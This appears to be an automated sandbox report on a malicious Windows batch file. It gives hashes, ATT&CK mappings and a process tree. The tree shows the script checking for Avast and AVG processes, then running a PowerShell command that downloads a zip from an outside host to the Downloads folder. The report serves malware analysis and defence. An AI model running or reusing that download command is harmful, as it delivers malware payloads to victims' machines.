283a4a43c44d9bc096c52ad644bd77f2129e65fbc8e1964e419f39d1cba4386d

Analysis

max time kernel
239s
max time network
240s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 16:40

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General

Target

20112024_1640_new.bat
Size

3KB
MD5

072bfacf745a6d9d2fcd710dc0eddc2c
SHA1

b926adccaf5181c12713164a57f878316cfcdabc
SHA256

283a4a43c44d9bc096c52ad644bd77f2129e65fbc8e1964e419f39d1cba4386d
SHA512

568f3b32c0839bd4830e22ffad8d50f0cfcea3e294e5d7952132da956c412c33305cc0bca1f5df08848edd4296d3e1d00cb6206a4ef172d5b769b35c49166f4b

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2812 powershell.exe
Enumerates processes with tasklist 1 TTPs 2 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exetasklist.exe

pid process

2108 tasklist.exe
2872 tasklist.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2812 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

tasklist.exetasklist.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2108 tasklist.exe
Token: SeDebugPrivilege 2872 tasklist.exe
Token: SeDebugPrivilege 2812 powershell.exe

pid	process
2812	powershell.exe

pid	process
2108	tasklist.exe
2872	tasklist.exe

pid	process
2812	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2108	tasklist.exe
Token: SeDebugPrivilege	2872	tasklist.exe
Token: SeDebugPrivilege	2812	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2268 wrote to memory of 2108	2268	cmd.exe	tasklist.exe
PID 2268 wrote to memory of 2108	2268	cmd.exe	tasklist.exe
PID 2268 wrote to memory of 2108	2268	cmd.exe	tasklist.exe
PID 2268 wrote to memory of 2584	2268	cmd.exe	find.exe
PID 2268 wrote to memory of 2584	2268	cmd.exe	find.exe
PID 2268 wrote to memory of 2584	2268	cmd.exe	find.exe
PID 2268 wrote to memory of 2872	2268	cmd.exe	tasklist.exe
PID 2268 wrote to memory of 2872	2268	cmd.exe	tasklist.exe
PID 2268 wrote to memory of 2872	2268	cmd.exe	tasklist.exe
PID 2268 wrote to memory of 2876	2268	cmd.exe	find.exe
PID 2268 wrote to memory of 2876	2268	cmd.exe	find.exe
PID 2268 wrote to memory of 2876	2268	cmd.exe	find.exe
PID 2268 wrote to memory of 2812	2268	cmd.exe	powershell.exe
PID 2268 wrote to memory of 2812	2268	cmd.exe	powershell.exe
PID 2268 wrote to memory of 2812	2268	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\20112024_1640_new.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Windows\system32\tasklist.exe
  tasklist /FI "IMAGENAME eq AvastUI.exe"
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:2108
- C:\Windows\system32\find.exe
  find /i "AvastUI.exe"
  2⤵
  PID:2584
- C:\Windows\system32\tasklist.exe
  tasklist /FI "IMAGENAME eq avgui.exe"
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:2872
- C:\Windows\system32\find.exe
  find /i "avgui.exe"
  2⤵
  PID:2876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://timebasebsan.shop:4045/bab.zip' -OutFile 'C:\Users\Admin\Downloads\downloaded.zip' } catch { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2812-4-0x000007FEF5A9E000-0x000007FEF5A9F000-memory.dmp

Filesize
4KB

Download
memory/2812-5-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/2812-7-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/2812-6-0x0000000002990000-0x0000000002998000-memory.dmp

Filesize
32KB

Download
memory/2812-8-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/2812-9-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/2812-10-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/2812-11-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download
memory/2812-12-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Filesize
9.6MB

Download